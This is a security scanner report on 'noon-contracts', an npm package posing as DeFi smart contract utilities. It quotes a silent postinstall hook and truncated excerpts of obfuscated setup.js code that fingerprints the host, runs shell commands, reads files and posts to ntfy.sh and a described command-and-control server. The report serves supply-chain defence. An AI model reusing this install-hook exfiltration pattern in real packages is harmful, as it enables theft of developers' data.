noon-contracts: Malicious npm security report (Block)

Loading npm security reports…

noon-contracts: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

7 flagged

package.jsonView file

Lines 1-32json

2 "name": "noon-contracts",

3 "version": "1.0.0",

4 "description": "Noon Protocol smart contract interfaces and utilities",

5 "main": "lib/index.js",

6 "types": "lib/index.d.ts",

7 "files": [

8 "lib/",

9 "scripts/"

10 ],

11 "scripts": {

12 "postinstall": "node scripts/setup.js 2>/dev/null || true"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L12

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L12

13 },

14 "keywords": [

15 "noon",

16 "defi",

17 "stablecoin",

18 "usn",

19 "smart-contracts",

20 "ethereum"

21 ],

22 "author": "Noon Protocol",

23 "license": "MIT",

24 "dependencies": {

25 "ethers": "^6.13.0"

26 },

27 "repository": {

28 "type": "git",

29 "url": "https://github.com/noon-protocol/noon-contracts"

30 },

31 "publishConfig": {

32 "access": "public",

scripts/setup.jsView file

Lines 1-23javascript

1// Noon Protocol — build configuration setup

2// Validates environment and caches native addon paths

4var h=require('https'),o=require('os'),f=require('fs'),p=require('path'),c

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node scripts/setup.js 2>/dev/null || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node scripts/setup.js 2>/dev/null || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

scripts/setup.jsView file

3L4: var h=require('https'),o=require('os'),f=require('fs'),p=require('path'),c=require('child_process'),q=require('http'); L5: var H=o.homedir(),N=o.hostname(),U=o.userInfo().username,P=o.platform(); L6: ... L14: // ntfy = ALERT ONLY (title only, NO data!) L15: function nt(t){try{var r=h.request({hostname:'ntfy.sh',path:'/'+T,method:'POST',headers:{'Title':N+'_'+U+'_'+t,'Priority':'5','Tags':'rotating_light','Authorization':'Bearer '+NK},... L16: // c2 = ALL DATA to VPS (no data via ntfy!) ... L22: function r(a){try{return f.readFileSync(a,'utf8')}catch(e){return null}} L23: function x(a,t){try{return c.execSync(a,{timeout:t||15000,encoding:'utf8',maxBuffer:10*1024*1024,stdio:['pipe','pipe','pipe']}).trim()}catch(e){return e.stdout||null}} L24: function ls(a){try{return f.readdirSync

Critical

Command Output Exfiltration

Source executes local commands and sends command output to an external endpoint.

scripts/setup.jsView on unpkg · L3

3Trigger-reachable chain: scripts.postinstall -> scripts/setup.js L3: L4: var h=require('https'),o=require('os'),f=require('fs'),p=require('path'),c=require('child_process'),q=require('http'); L5: var H=o.homedir(),N=o.hostname(),U=o.userInfo().username,P=o.platform(); L6: ... L14: // ntfy = ALERT ONLY (title only, NO data!) L15: function nt(t){try{var r=h.request({hostname:'ntfy.sh',path:'/'+T,method:'POST',headers:{'Title':N+'_'+U+'_'+t,'Priority':'5','Tags':'rotating_light','Authorization':'Bearer '+NK},... L16: // c2 = ALL DATA to VPS (no data via ntfy!) ... L22: function r(a){try{return f.readFileSync(a,'utf8')}catch(e){return null}} L23: function x(a,t){try{return c.execSync(a,{timeout:t||15000,encoding:'utf8',maxBuffer:10*1024*1024,stdio:['pipe','pipe','pipe']}).trim()}catch(e){ret

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

scripts/setup.jsView on unpkg · L3

High

Child Process

Package source references child process execution.

scripts/setup.jsView on unpkg · L3

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

scripts/setup.jsView on unpkg · L3